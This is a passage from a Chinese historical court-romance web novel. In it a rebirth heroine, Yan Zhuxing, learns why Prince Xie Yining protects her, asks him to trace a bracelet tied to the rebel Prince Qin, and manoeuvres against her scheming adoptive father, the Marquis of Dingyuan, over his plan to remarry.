“你且宽心,”她执起福安郡主的手,安慰道,“待你进了国公府的门,这府里断不会容那些爪牙锋利的畜生,我不会让他们伤到你的。” 听到她这话,福安郡主恰到好处地露出了一抹羞涩的笑。 “夫人真真是和善至极。谁若能成了您的儿媳,就是享福去了。” 而后,她看向了朝华大长公主。 “母亲,你们聊,女儿先告退了。” 她知道接下来就是母亲和窦淑容谈婚事了,她理当避让。 朝华大长公主点了点头,示意她先离开。 “明镜今日怎么没来?”朝华大长公主问道。 若裴明镜真的看上她女儿,今日为何不来。 朝华大长公主心底有些不满。 “他公务繁忙,还在查案,抽不开身。但今日带来的礼物,都是明镜亲自选的。他对福安郡主很上心。”窦淑容赶忙解释。 “什么案子,大过年的劳烦他这般奔波?”朝华大长公主又问。 这可问到了窦淑容的心坎上,她还琢磨着若公主不问,她自己想法子将话题引到晏逐星身上去呢。 这下可好了,她自己提到了。 “还不是定远侯府那桩事。”窦淑容将近日闹得沸沸扬扬的事情说了出来。 虽然她已经很克制,但明里暗里都免不了对晏逐星有所贬低。 “哦?此事本宫也略有耳闻。”朝华大长公主听出了她话语中对晏逐星的不满。 也意识到了她话里的重点在裴明镜与定远侯府那个假千金交往过密的事情。 “区区一个商户女,你一介国公夫人,又何必将她放在心上。” 朝华大长公主不以为意。 见她没把晏逐星放在心上,窦淑容顿时急了:“此女尤擅蛊惑人心。烈国公与皇后,似乎都对她偏爱有加,尤其是永安王,护着她许多回了。” “我就怕明镜查案时,会被她所惑啊。” “可怜天下父母心,想必大长公主一定能理解我的苦心。我想要的儿媳,只认福安郡主这样端庄大方的,断不是那种来路不明的女子。” 朝华大长公主冷笑一声:“本宫的女儿,要嫁的自然也是这世间最好的儿郎。若是与其他女子不清不楚,我们福安是绝对不会嫁过去的。” 窦淑容面色一僵。 她没想到自己弄巧成拙了。 不仅没引起朝华大长公主对晏逐星的厌恶,反倒开始质疑裴明镜的品性了。 她僵硬地点了点头,笑道:“大长公主言之有理。我家明镜才貌、本事、品行,样样拔尖。皇上都亲口夸过他办事得力、心思缜密。为人处世更是光明磊落,从不沾惹那些乌七八糟的事。” “说句掏心窝子的话,京里想跟我们结亲的门户多了去了,可我总觉得,唯有福安郡主这般才貌双全、贵气天成的姑娘,才是他的良配。” 窦淑容这一番软话总算让朝华大长公主面色好看了不少,也给了她一个准话。 “明镜这孩子,也算本宫看着长大的,他的品性本宫自是信得过。你且放心吧,没有人能毁了这桩天定的姻缘。” 窦淑容长长地舒了一口气。 太好了,有了朝华大长公主这番话,这门亲事是板上钉钉了。 窦淑容走后,朝华大长公主将女儿叫来,把裴明镜和晏逐星交往过密的事情告知了她。 福安郡主的态度和朝华大长公主如出一辙。 “区区一个被侯府赶出门的商户女,还想跟我抢人?简直荒谬。也就窦夫人没见过世面才会被她吓着了。” 福安郡主斗志昂扬。 她自小就知道自己长得美,同龄的少年郎总是偷偷用爱慕的眼神看着她。 可她瞧不上他们,觉得他们太幼稚。 直到母亲说起卫国公府有意与他们结亲,她才发现裴明镜这个人完美符合了她的要求。 容貌、才学、家世、举止,哪哪都让她很满意。 这个人,她要定了。 谁敢跟她抢,那她就会杀了她。 就像杀死那些无用的兔子雀鸟一般。 悄无声息地弄死,剥皮拆骨,最后化成一抔花肥,埋进土里,连痕迹都留不下。 第132章 坦白了秘密 昨夜晏逐星难得的失眠了。 重生回来后,她已经很久没有睡得那么糟糕了。 因而第二天起床时,她眼底一片乌青。 偏偏这时衔蝉敲响房门:“小姐,王爷命人送来了乔迁礼。” 晏逐星一愣。 她还不知道怎么面对谢翊宁的时候,他怎么就又让送礼物来了。 在她脑子还稀里糊涂的时候,她就已经被双鲤和衔蝉打扮好推了出去。 “王爷?” 来到花厅,晏逐星看到谢翊宁那一刻当即傻眼了。 她以为衔蝉说的是永安王让人把礼物送来了,也没说他本人也来了呀。 她竟然让他等了那么久??? “是新屋子睡得不习惯么?”谢翊宁瞧见她眼底的乌青,好奇地询问。 “不是。屋子很好,多谢王爷。”晏逐星手忙脚乱地行礼。 “本来昨日就该来给你送乔迁礼,但听说你这边有客人,就没来了。”谢翊宁忍不住试探。 “既然屋子很好,那就是昨日来的人让你心神不宁了?” 晏逐星没想到他竟然这般敏锐。 她下意识地否认:“没有。” 见谢翊宁明显不信,她只得含糊地找了个理由。 “我只是有些不安。” “这么大的宅子王爷说送我就送我了,我该怎样才能报答您呢。” “毕竟,您对我实在是太好了。好得让我有些惶恐。” 说完,她便垂下了眼眸。 听到她这么说,谢翊宁信了。 他恍然大悟。 从小父皇母后兄长都对他很好,因而他从来不觉得别人对他好需要什么心理负担。 他却忽略了晏逐星与他不同。 她是被温如霜拐带到侯府的,又受了那么多的欺负,整日被温氏母子洗脑说她有多不好。 如今他们非亲非故,他却对她这般好,她会觉得她不配,而且心里负担会很重,总想着怎么还回来。 对她有一分好,她就会想着还别人十分。 真是个傻姑娘。 他抬手,想要摸摸她的脑袋,却又觉得于理不合。 于是将手收了回来,轻咳两声:“你不是让衔蝉给本王送了借据么?” “可不是您的每一次付出,我都能回报的。”晏逐星抬头,目光里多了一丝窘迫。 谢翊宁笑了。 “可不是每一份付出,都需要回报的呀。本王不需要你的任何回报,你好好吃饭,好好活着,就是对我最大的报答了。” 看着晏逐星呆呆的样子。这下他是真没忍住,伸手捏了捏她的脸颊:“喏,这就是本王要的报酬了。” “一套京城三进的宅院,您捏了捏我的脸,就算报酬了?我的脸有那么值钱吗?”晏逐星这下是真的懵了。 谢翊宁被她的话逗得笑出了声。 “不。这是今日我给你送的乔迁礼的报酬。所以你不用想着给我回什么礼了。” 他下巴朝旁边一扬:“瞧瞧,这些礼物可还喜欢?” 只见一旁二十筐上好的银丝炭,堆得小山丘似的。 还有两个杵着足有她人高的细颈大花瓶。 晏逐星目瞪口呆。 一旁的停云在无人注意的角落悄悄翻了个白眼。 王爷昨日听闻裴大人送了两筐银丝炭,今日就送二十筐。 裴大人送了一对小花瓶,他就送一对大花瓶。 要不是怕晏大小姐的宅院没地方放那么多花瓶,侯爷指定花瓶也能送二十对过来。 在送礼这一块上,他们家王爷从不认输。 “多,多谢王爷。”晏逐星被这别开生面的乔迁礼给惊得都有些结巴了。 “区区薄礼,何足挂齿。”谢翊宁无所谓地摆了摆手。 “你看看可还缺什么?明日本王让人给你送来。” “什么都不缺,已经很好了。”晏逐星鼻腔莫名有些发酸。 从记事起,谢翊宁是唯一一个不求回报对她好的人。 可她却很可能是逆王秦王的血脉。 若她真是秦王之女,那她与谢翊宁,便是死敌。 他们中间隔着血海深仇。 可他却偏偏对她这么好。 有朝一日,他要是知道她的真实身份,会不会亲手将她除掉。 “你别哭呀。”谢翊宁看着她滑落的泪,心揪成了一团。 “区区一对花瓶和二十筐银丝炭,就让你感动成这样了?这,这不值得啊。” 谢翊宁下意识地就伸手替她擦掉了眼泪。 一想到晏逐星日后很可能会被男人的一些不值钱的小把戏给感动,他就急了。 他总算体会到了,太子哥哥提起令嘉姐妹俩长大后要嫁人的那副幽怨语气是怎么一回事了。 要是他以后有女儿,女儿也这么轻易被男人感动,然后骗走,他真的要拔剑杀人了。 他当场做出了决定,以后要多给晏逐星送好东西。 好东西看多了,以后就不容易被骗了。 日后别的男人想要娶她,至少得做得比他好才行吧。 他的小救命恩人,岂是轻易就能娶走的。 “我没事。”晏逐星胡乱地擦掉了脸上的泪。 若不是谢翊宁提醒,她甚至都没发现她哭了。 “王爷,我一时失态,还望王爷不要计较。”她赶忙道歉,话音里带着一丝哽咽。 谢翊宁见她眼眶红红,犹豫了片刻后,将下人都遣了出去。 “本王有话单独对你说。” “啊?” 晏逐星一愣。 等她反应过来的时候,下人们已经都退了出去。 晏逐星看着他如琉璃般清澈的眼眸,一颗心忽然乱跳了起来。 永安王要单独跟她说什么? 难不成,他真的心仪她? 可她要是秦王的女儿,他们就是堂兄妹,这是绝对不可以的。 “你不是一直很好奇本王为什么对你这么好吗?”谢翊宁的声音打断了她的胡思乱想。 “嗯。”晏逐星下意识地点头。 “国师的预言你知道吧?”谢翊宁一脸认真。 晏逐星再一次点头。 谢翊宁将这个只有父皇母后以及国师知道的秘密说了出来: “上回国师回来,告诉本王,我的命数已改。有人救了我一命,我的死劫已过,可以平安活过二十岁了。” “真的吗?那太好了!”晏逐星脱口而出。 永安王这么好的人,就该长命百岁。 看着她眼里毫不掩饰地替他开心,谢翊宁的心又软了几分。 她不关心是谁救了他,她只关心他能活下去。 谢翊宁柔声道:“国师说了,那个人就是你。因为你,本王的命运扭转了。所以我对你怎么好,都是理所应当的。记住了吗?” 国师没有说是谁,但他说是晏逐星就是晏逐星。 他又不是傻子,连自己的救命恩人都认不出来。 四下无人,谢翊宁总算得偿所愿,伸手摸了摸她的脑袋。 晏逐星没有注意到他悄悄咪咪摸她脑袋的举动,而是想着上辈子一箭穿心的事情。 当时是她挡在了谢翊宁的面前,难不成正是因为这件事,他们双双重生,所以谢翊宁的命运得到了改变? “跟本王说话,你还敢走神?”谢翊宁再一次伸手捏了捏她的脸。 “我只是太惊讶了。”晏逐星回过神,乖巧回答,没有反抗任由他捏自己的脸。 谢翊宁看着她这乖巧的模样,愈发手痒,恨不得像抱着雪团儿那样把她抱到怀里一顿揉。 但想到那个场景,谢翊宁又觉得太不庄重了。 有损他王爷的形象,更有损人家姑娘的闺誉。 使不得,这可万万使不得。 “先前和你说的话,你必须守口如瓶。本王命数已改之事,不宜外传。”谢翊宁轻咳两声,摆出了一副严肃的姿态。 “王爷放心,我一定不会将此事泄露出去的。若我泄密,天打五雷轰,不得好死。”晏逐星举手一本正经地发誓。 “呸呸呸,童言无忌。”谢翊宁伸手敲了她脑门一下。 晏逐星终于露出了笑意。 什么童言无忌,她马上就要及笄了,都能嫁人了。 想到嫁人,她脑海里又闪过自己先前的那个荒唐念头。 她忍不住用手捂住了自己的脸。 天老爷啊,她刚刚在胡思乱想什么,竟然觉得人家永安王心悦她。 明明人家只是为了报恩啊。 “你怎么了?”谢翊宁有些好奇。 “没事。”晏逐星赶忙摇头。 这要是被王爷知道了,说不定要离她远远的了。 他想报恩,她竟然无耻地认为他心悦她。 晏逐星深吸一口气,决定赌一回。 她一字一句道:“王爷,既然我是您的救命恩人,想必不管我做了什么错事,您都会保住我这条命的,对吧?” “当然。”谢翊宁毫不犹豫地点头。 旋即,他有些狐疑地打量起晏逐星。 “你干什么错事了?” “难不成温如霜也是你杀的?” “当然不是我。”晏逐星果断否认。 等等,什么叫也? 永安王觉得她还杀了谁啊? 他都知道些什么? “是你也没关系,她就是个拐子,死不足惜。只是你的名声难免会受损。下回若是有想杀的人,你让衔蝉来王府寻照夜,杀人,他是专业的。”谢翊宁絮絮叨叨地嘱咐。 晏逐星心底一阵无语。 但随后又有些不是滋味。 永安王为了一个救命恩人,竟然能做到这样不分青红皂白地维护? 若救命恩人不是她,是别人,他也会对人家那么好吗? 晏逐星摇了摇头,意识到自己想太多了,那些事情与她无关。 她果断开口:“不是的,是有关我的身世。” 生怕谢翊宁再说出什么杀人放火的话来,她赶忙把自己的疑惑说了出来。 “这是温如霜拐带我之时,我手上戴着的镯子,昨日裴大人来调查,发现这是秦王府小郡主的。而那位小郡主,当初被秦王妃带走失踪了。据说年纪和我一般大。” 说完她将随身携带的镯子递给了谢翊宁。 谢翊宁一愣,没想到会从她口中听到“秦王”相关的事情。 他接过镯子仔细打量了起来。 晏逐星在一旁忐忑不安地等着。 片刻后,谢翊宁将镯子还给了晏逐星。 “这确实是秦王府所出的物件没错。” 晏逐星的一颗心瞬间沉到了谷底。 “不过……” 第133章 总该长得像 “不过什么?”晏逐星急了。 谢翊宁掷地有声道:“不过,你绝对不可能是秦王的女儿。” “为何?”晏逐星愣住了。 “因为你和秦王长得一点也不像啊。”谢翊宁理所当然地开口。 见晏逐星要开口,谢翊宁又补充道:“你和秦王妃也不像,你和他们全家都不像。若是你和他们有半分相似,你以为我父皇母后会看不出来吗?” 谢翊宁的一席话让晏逐星豁然开朗。 是啊。 若她是秦王的女儿,总该和他们长得有几分相似吧。 就算谢翊宁认不出来,总不能皇上皇后也认不出来吧。 皇室之人最为多疑,若她真的和皇家人长得像,不该一个人都没发现。 是她钻牛角尖,先入为主就认定自己一定是秦王的女儿了。 “除非……”谢翊宁拉长了音调,再一次勾起了晏逐星的好奇心。 “除非什么?” “除非你这张脸是假的,你不长这样。让本王检查一下。”谢翊宁趁机又捏捏她的脸。 诶嘿,手感真好。 晏逐星:! 她怀疑永安王是故意的但她没证据。 谢翊宁见她气鼓鼓的模样,噗嗤笑出了声:“行了,别胡思乱想了。这镯子的来历,我会替你查清楚的。” “好。”晏逐星乖乖地把镯子交给他,“劳烦王爷了。” “小事一桩。”谢翊宁收下镯子后,忽然反应过来。 “所以你早就知道你不是关家的女儿?” “呃……”晏逐星一时间有些卡壳。 想到秦王的事情都说了,关家的事情也没什么不能说的。 她赶忙道:“他们第一天来认亲的时候我就知道了。” 她没有隐瞒,把自己怀疑的点都说了出来,还把李氏曾交代过的话也告诉了谢翊宁。 谢翊宁有些不明白,为何定远侯要将黑锅扣在发妻的身上,这不是也在给侯府抹黑吗? 他将疑惑问了出来。 晏逐星有些尴尬地开口:“他从我这知道了烈国公夫人要给骆表姑找夫婿的事情,恐怕就动了娶新夫人的念头。” 谢翊宁一瞬间就想通了其中的关窍。 定远侯抛弃发妻,于名声有碍。 若是温氏犯了错,他就可以不必守孝,光明正大地迎娶新夫人了。 这么看来,温如霜之死多半和定远侯有关系。 “幸好你搬出来了。”谢翊宁怜惜地看着面前的小姑娘。 有这样一个豺狼虎豹般的父亲,小姑娘在侯府的日子定然过得水深火热。 她若不搬出来,日后阻碍了定远侯的前程,定然也会被他痛下杀手。 发妻都能弃之敝履,何况一个养女。 “总而言之,你是本王的救命恩人,遇事不必太过担忧,有事让衔蝉去王府就好。本王还有事,先走了。” 意识到他们单独相处的时间太长,谢翊宁便提出了离开。 晏逐星应下后,亲自把他送出了府。 谢翊宁并没有马上回王府,而是入宫去了。 “你怎么又来了?”文昭帝看到小儿子就头疼。 上回在太后那闹了一出,他这个当爹的给他收拾了烂摊子。 今日怎么又来了。 不会又惹出什么事了吧。 他还想过个好年呢。 “父皇,儿臣有重大事情要报。”谢翊宁说得一脸认真。 “何事?”文昭帝见他表情严肃,坐直了身子。 谢翊宁将晏逐星的镯子拿了出来,并且将事情的来龙去脉说了一遍。 要查这个镯子,就要涉及当年秦王谋逆一事。 他若私底下派人去查,被有心人知晓从中作梗,往他身上泼脏水,说他要为秦王平反怎么办。 所以这事还得找父皇来办。 文昭帝没想到多年后竟然还能听到秦王的名字。 文昭帝仔细回想着晏逐星的长相,点了点头:“你说得对,她的容貌与秦王和秦王妃,均无相似之处。” “但也不能完全否认这个可能。毕竟秦王妃和那个小丫头,一直没找到。” “此事朕会派人去查。” “多谢父皇。”谢翊宁毫无心理负担地将这事交给了文昭帝。 “就走了?”见他拍拍屁股就要走人,文昭帝不高兴了。 “不然呢。”谢翊宁理直气壮。 “父皇还得陪娘娘们呢,儿臣可不敢打扰。” 从大年初二起,父皇就要轮流陪后宫位分高的妃嫔们单独用膳,夜里还得歇在她们那处。 毕竟人家的娘家人可都看着呢。 总不好厚此薄彼。 父皇一个月有半个月都宿在未央宫,这点时间再不分给后宫妃嫔们,不止父皇要被弹劾,母后也要被说善妒了。 日后他若娶妻,定然只要王妃一人足矣。 什么侧妃,麻烦得很。 当皇帝真惨,连宠幸哪个妃嫔都得顾全大局,不能自由选择。 还好他不用当皇帝。 文昭帝:…… 儿子果然知道怎么扎他的心。 想到今夜又要去面对后宫妃嫔,文昭帝就一阵头疼。 * 谢翊宁离开后,晏逐星就收到了侯府那边的消息。 “大小姐,不好了,温家大老爷入京了,如今与侯爷吵起来了。” “然后呢?”晏逐星有些好奇。 闹了这一出,究竟是谁胜了。 “温家大老爷不承认夫人是拐子,反而称侯爷逼死发妻,一切都是污蔑。如今已经将夫人的尸体带走安葬,嫁妆也全都抬走了,两家当场断了亲。”来人赶忙将后续说出来。 晏逐星在心底隐隐有些羡慕。 温如霜的家人对她倒是重情重义。 “嗯,若有事,你再来报。”她示意衔蝉掏赏银。 “多谢大小姐。”来人拿着赏银美滋滋地回去了。 晏逐星不打算插手此事。 就让温家和定远侯狗咬狗。 有温家人在,定远侯休想轻易娶新夫人。 这个年,她就好好缩在她的小窝里,休养生息。 毕竟留给她的松快时间不多了。 还有几个月阮寄薇腹中的孩子就该出生了,到时候让定远侯写下请封世子的奏折,他就可以去死了。 若定远侯早早死了,晏家族老找上门,她一个养女,阮寄薇一个妾侍,都名不正言不顺,没法出手干预立世子之事。 况且,小小婴孩夭折风险太高,她还是谨慎行事为妙。 就先让定远侯再苟延残喘一段时间吧。 到那时,流光缎应该已经推广开,能让她赚不少钱。 等她攒够了钱,就能囤积粮食、衣物和药品了。 一年后,北境会入侵大虞。 霍将军将率领霍家军和他们打一场苦战。 她前世亲身经历过,知道他们有多艰难。 这一世,她希望霍家军将士们能吃得好些,不用啃草根树皮,也不用因为缺少衣物药品而丧命。 只是她没想到,晏家族人按捺不住的速度比她想象中更快。 第134章 侯府新主母 没两日,侯府又传来了新消息。 “侯爷病了,如今是族长夫人在帮着打理府中庶务。” “那位夫人给阮姨娘请了大夫把脉,说阮姨娘腹中的是女儿,怂恿侯爷娶新夫人。还给侯爷介绍了她娘家的侄女。” “阮姨娘想请大小姐回去主持大局。” 晏逐星没想到晏氏一族的人这么迫不及待地就要瓜分定远侯府了。 她略一思索,决定回定远侯府一趟。 一来,定远侯是她的养父,他病了她理当回去探望一二。 二来,她还得回去安安阮寄薇的心,省得她不在,她自乱阵脚出了昏招,被晏氏族人拿到把柄。 三来,她也想试探一下晏氏一族要给定远侯找新夫人,他是什么态度。 那位族长夫人又是什么章程。 是有贼心没贼胆,还是不达目的不罢休。 晏逐星稍一整理,便拎着一些“精心准备”的药材回了定远侯府。 还没见着定远侯,就被人拦住了。 “你回来做什么?”面前微胖的老妇人盯着她,眼里满是警惕。 晏逐星认出了她,这是族长的妻子汪氏。 “父亲病了,我回来看看。”晏逐星不卑不亢地回答。 “你一个外人,有什么资格回来,还喊侯爷父亲,你也配?”汪氏不满地看着晏逐星。 如今侯府没有主母,她代为打理,从中捞了不少好处。 她可不愿意让晏逐星回来。 她已经想好了,日后让娘家侄女嫁给定远侯当续弦,到时候这侯府的家产,都是他们的了。 “侯爷说过,定远侯府永远是我的家,我想什么时候回来就什么时候回来。”晏逐星冷笑。 看来这些时日汪氏捞了不少油水,都得意忘形了。 “林管家,带我去见父亲。”晏逐星没搭理她,径直看向了管家林平。 “是是是,大小姐这边请。”林平可是见过晏逐星扇少爷小姐耳光的。 他可不傻。 大小姐都点他名了,他要是违背她的命令,保管待会他就要吃大嘴巴子了。 侯爷定然不会站在他这边。 族长夫人真是白活了那么多年,连个眉眼高低都辨不出。大小姐就算不是侯爷亲生的,那也还是国公府的义女啊。 哪里是他们能得罪得起的。 见林管家就这样领着晏逐星离开,汪氏气急败坏道:“侯爷都得叫我一声婶婶,你算个什么东西!” 她气恼地跟了上去,想让定远侯好好管教管教这个不知礼数的外人。 “父亲,您身子如何了,可要去请太医?”晏逐星进屋就先关心定远侯。 定远侯听到她这关切的声音,心下一暖。 “不必请太医,我只是被温家那无礼的举动给气着了。” 提起温如璋等人,定远侯的脸色瞬间变得阴沉。 偏偏汪氏这个时候还不长眼地闯了进来。 “侯爷,你可得给我这个婶婶做主啊。”汪氏一进来就哭天喊地。 “这小丫头就算不是咱们晏家的种,也不能对我这般无礼啊。她总该唤我一声叔祖母才是吧。” 定远侯被她哭得脑瓜子嗡嗡地疼。 他现在最怕人家提起晏逐星不是他的孩子,到时候晏逐星与他离了心,那他可就沾不上她半分好处了。 骆文缨他还没娶到手呢! “住嘴,谁准你这么说我女儿的。”定远侯厉声呵斥。 因为太过大声,还牵动了肺气直咳嗽。 别以为他不知道这位好婶婶打的什么主意,不就是想让她的侄女嫁过来掌控侯府么。 呸。 一群乡下泥腿子也配? 要不是家中丧事需要他们出面,他早就让他们滚回老家去了。 汪氏没想到定远侯竟然会训斥她。 她的夫君不仅是晏氏一族的族长,更是定远侯父亲的亲弟弟,他竟然一点面子也不给她? “晏逐星是本侯的女儿,此事永远不会改变。”定远侯再次强调。 汪氏不可思议道:“她又不是你的亲生女儿,难不成你日后还要给她置办嫁妆,将侯府的财产分给她?” “不然呢?不给她难道给你?” 定远侯一句话将汪氏气了个倒仰。 汪氏虽然是这么想的,但话不能这么说出来,她只得咬牙切齿道:“咱们都是晏家人,她一个外来的,你给她,你糊涂啊。” 这时,晏逐星凉凉道:“说起来,这屋子里我与父亲都姓晏,你一个外嫁过来的外姓人,有什么资格指手画脚?” 汪氏气得满脸通红。 “你、你……” 晏逐星说得在理,她一时竟无法反驳。 “我,我不管了。要不是怕咱们晏家的财产被外人抢了,鸿升,我至于跟你说这些掏心掏肺的话么。”汪氏假装抹眼泪,跺跺脚走了。 定远侯懒得搭理她,直接安慰起晏逐星:“星儿,你叔祖母上年纪,老糊涂了,你别听她胡说八道,你永远是父亲的女儿。父亲自然会给你准备嫁妆,让你风风光光出嫁。” “父亲,我不要什么嫁妆,我只要您好好活着。”晏逐星抹起了眼泪。 “您若不在,还不知道他们要怎么欺负我,欺负阮姨娘肚子里的弟弟呢。” “我还指望着您将弟弟教导成材,长大之后好给我这个当姐姐的撑腰。” 晏逐星开始给定远侯画大饼。 定远侯听到她这番话,十分感动。 还是女儿好啊,女儿贴心。 他大手一挥,拍着胸脯道:“你放心,等你新母亲入门后,为父定会让她帮你拟一笔丰厚的嫁妆。” “对了,国公府那边,那位骆姑娘的婚事可有着落了?” 晏逐星听出了他试探的意思,摇头:“尚未。烈国公夫人还在给她相看呢。” 听到骆文缨还没定下人家,定远侯松了一口气。 他继续试探:“你觉得让骆姑娘给你当继母可好?她那样的大家闺秀,定然不会干出苛待你的事情。” “父亲可是认准了骆表姑?”晏逐星再一次试探。 “自然是认定了她。”定远侯露出一副向往的表情,“骆姑娘为霍少将军守身如玉,为父佩服不已,若能迎娶佳人,定珍之重之。” 晏逐星没说话。 定远侯又道:“星儿,不若你替父亲在烈国公夫人面前美言几句,让骆姑娘嫁到咱们侯府来。她若嫁过来,这侯府便任由她当家做主,我绝无二话。” 晏逐星微不可察地皱了一下眉,但转瞬即逝。 她笑着点了点头:“我也很喜欢骆表姑。若是她能嫁到侯府来,侯府定然会愈发兴旺。咱们与国公府的关系也会更加密切。等会儿我就去烈国公府,同义母商议此事。” 第135章 想见祝姑娘 见她这么说,定远侯笑得几乎要合不拢嘴了。 “还是星儿懂事。” 他贴心地询问起晏逐星在外边住得如何,可要搬回侯府。 晏逐星摇头拒绝,但哭诉了一下自己囊中羞涩,都不好跟各家千金出门交际了。 “裴芜还让我陪她去看戏,可女儿的银钱,都给父亲买人参了。等会儿还要给国公府送年礼,女儿……” 她做出了一副难以启齿的表情。 定远侯大吃一惊,这才搬出去几天,他不是给了五百两银子么。怎么那么快就没了? “这可是百年山参,我求了许多人牵线搭桥才买回来的,就想着孝顺父亲呢。” 晏逐星将自己带来的“百年山参”拿了出来。 这是她这几日请关家夫妇帮忙采买的假货。 这些奸商将普通山参的芦头切断,嫁接在年份短身形差的野山参上,伪造出百年老参特有的雁脖芦。 而后又用胶黏合接口,裹上泥炭烘烤作旧使接缝处生出假纹路。 若非专业人士,根本就看不出来,足以以假乱真。 她提早备下这东西,就是为了糊弄讨厌的人。 今日送给定远侯正正好。 果不其然,定远侯听到她知道自己病了,特意为自己买了百年野山参,感动不已,当即就让林管家开库房。 “送国公府的年礼,怎么能让你自己备下呢。你去库房里只管挑好东西送去。” 而后又让林管家支五百两银票给晏逐星。 管家欲言又止。 短短几日就给大小姐支了一千两银子,这可是侯府最挣钱的铺子大半年的营收啊。 照大小姐这么个花法,侯府迟早要被她给败光。 但看着大小姐的死亡凝视,管家识趣地没有把这事说出口。 晏逐星毫无愧疚地收下了这些好东西。 她不方便直接去见阮姨娘,便让九栀去安了安她的心。 “不要自乱阵脚,族长夫人不必理会,好好养胎就是。万事有大小姐在,你的荣华富贵不远了。” 临走前,晏逐星特意提醒了定远侯。 “女儿只能尽力帮父亲美言,但国公府那边会不会答应,女儿可就不知道了。” “我相信有星儿的美言,他们定然会答应。”定远侯露出了势在必得的笑容。 “即便他们不答应,我也有法子让他们瞧见我的诚心,让骆姑娘嫁给我。” 定远侯的“诚心”二字说得意味深长。 晏逐星不动声色地点了点头,随后听从了定远侯的建议,让侯府马夫驾车将她送去了烈国公府。 尉迟敦看见她,高兴不已。 “星儿妹妹!” 他现在已经能很好的区分星儿妹妹和晞儿妹妹了。 晏逐星命人将礼物搬了下来,随后陪着尉迟敦玩了两刻钟,玩到他累了要睡午觉了,这才与烈国公夫人闲谈。 见她愁眉不展,晏逐星询问道:“义母可是有烦心事?” “唉,还不是你尉迟姑婆,大夫说她时日无多,恐怕只有不足一个月的时间了。”烈国公夫人叹了一口气。 “她最大的愿望就是看着你骆表姑嫁人成家。可事到如今,一个好夫婿哪是那么好找的。总不能为了让她嫁人,就随便给她找一个夫婿吧。” “那岂不是将她推进火坑了。” 晏逐星赞同地点了点头。 她想起定远侯说的话,赶忙提醒道:“义母,您千万要提醒骆表姑注意。定远侯他在打骆表姑的主意。” 晏逐星没有隐瞒,将定远侯想要娶骆文缨的事情说了。 同时,还把温如霜被定远侯逼得自尽的事情说了。 “他能对发妻下毒手,绝对不能让骆表姑嫁给他。而且,您不觉得定远侯府风水不好么。接连死了那么多人,保不准定远侯过些时日也要没命了。” 晏逐星委婉暗示。 她在马车上越琢磨越觉得定远侯最后那句话有深意。 想到定远侯能对发妻下毒手,泼脏水,还能将亲生儿子推入火坑。这样的人,为达目的不择手段。 他若真的想要娶骆文缨,说不定会出各种阴招。 因而她路上便想了一个新主意。 只要骆文缨这些时日不出门,不给定远侯接触她的机会,她就有办法让定远侯断了念想。 “原来温大人说的事情,竟然是真的?”烈国公夫人瞪大了眼睛。 定远侯府和温家闹出官司的事情早就在京城里传遍了,她压根没考虑过让骆文缨嫁过去。 先不说温氏到底是不是定远侯逼死的,光是他们家那倒霉的风水,就没人想沾边。 她可不希望小表妹嫁过去就被连累得香消玉殒了。 但她没想到定远侯竟然能心狠手辣到这种地步。 “你搬出侯府,是不是与此事有关?”烈国公夫人满脸担忧。 晏逐星点了点头:“义母无需担忧,如今我过得很好。” “那就好。”烈国公夫人长长地吐了一口气。 还好这孩子搬出来了。 要是还留在侯府里,说不定也要被倒霉的定远侯府一家给连累。 瞧瞧这几个月定远侯府出了多少条命案了。 星儿至今没有出事,一定是因为她不是定远侯亲生的缘故。 说不定是定远侯祖坟出问题,全报应到他们身上了。 烈国公夫人一不小心就把心里话说了出来。 晏逐星莞尔一笑:“义母说得对,可不就是报应么。” 晏逐星借着骆文缨的事情,不着痕迹地跟烈国公夫人打听起了京中有哪些大龄待嫁的姑娘,试图从其中找到一些符合自己要求的人选。 没想到,还真让她打听到了。 有一个叫祝红玉的姑娘,完美符合她的要求。 就是不知道对方愿不愿意合作了。 晏逐星心下暗暗做出了决定,得想办法见一见那位祝姑娘。 只是她没想到,她还没偶遇到祝红玉,骆文缨就找上门来了。 她一开口,晏逐星就怀疑自己的耳朵是不是出问题,听错了。 第136章 当丧夫主母 “你是不是想给定远侯找续弦,我可以。” 骆文缨一脸平静。 晏逐星反倒急了,她火急火燎道:“骆表姑,定远侯不是好人,义母没跟您说吗,他逼死了温氏……” 骆文缨笑了,抬手打断了她的话。 “我都知道。表嫂也已经告诉我了,让我这些时日不要出门,不要和定远侯有交集。” “那你为何还想嫁他?”晏逐星想不明白。 “我谁也不想嫁。”骆文缨耸了耸肩。 世人皆以为她是为霍光守节,实际上她只是单纯地不想嫁人罢了。 她与霍光是娃娃亲,两人见面的次数少之又少,他们之间并没有什么感情。 得知霍光战死沙场,她替他惋惜,替霍夫人难过,但也仅此而已了。 女子若嫁人,就要侍奉公婆,养育孩子。 她会变成别人的妻子,别人的母亲,别人的嫂嫂,但她很难再成为她自己。 她自小看着母亲为一大家子操劳,为婆媳关系,妯娌关系,姑嫂关系而落了太多眼泪。 这实在是太辛苦了。 她不想过那样的日子,她只想一个人逍遥自在地活着。 她有武艺,有手艺,也有铺子能养活自己,为何要去嫁人。 霍光死后,纵使霍家人没有让她过门,她也以为他守节为由,拒绝了爹娘让她嫁人的要求。 每逢过年过节还有霍光的忌日,她都会给他上香,感谢他当了这么多年的挡箭牌,让她过上了不用嫁人在家轻松自在享福的日子。 只是这些行径落在家里人眼中,就成了她对霍光用情至深,不愿再嫁他人的证据。 因而家中人再也没有催促她嫁人。 只是现下母亲危在旦夕,临死前的心愿就是看她出嫁。 她实在是不忍让母亲伤心,终于还是决定找一个人嫁了。 只是她这个年纪,能找的都是娶续弦的。 年纪相仿的少之又少。 为了找个人嫁了,她甚至连六七十岁的老头子都考虑了。 这么大岁数,公公婆婆都死绝了,等她嫁过去,人家说不定两腿一蹬没几天就死了,她就又可以继续逍遥自在生活了。 可表哥和表嫂坚决不同意。 嫁那样的人,母亲怕是要死不瞑目。 表兄也给她找了一些家境贫寒尚未娶妻的大龄将士。 他们与她相看时,眼里并无对她的欣赏,只有攀附上国公府的喜悦。 毕竟在他们看来,她三十二都没嫁出去,是个老姑娘,有人娶就该偷着乐了。 一想到嫁过去之后定然要替他们操持家务,侍奉婆母,甚至还要借着表兄一家为他们谋前程。 她就不想嫁了。 故而昨日表嫂将定远侯觊觎她的事情告知她,她左思右想,竟然觉得这是个不错的去处。 至少定远侯长相年龄看起来都与她般配,母亲见了也能安心离去。 而且上无公婆要侍奉,下无子女要教养,嫁过去轻松得很。 骆文缨将自己心里的真实想法说了出来。 不知道为何,她总觉得这个年龄不到她一半大的小姑娘能理解她。 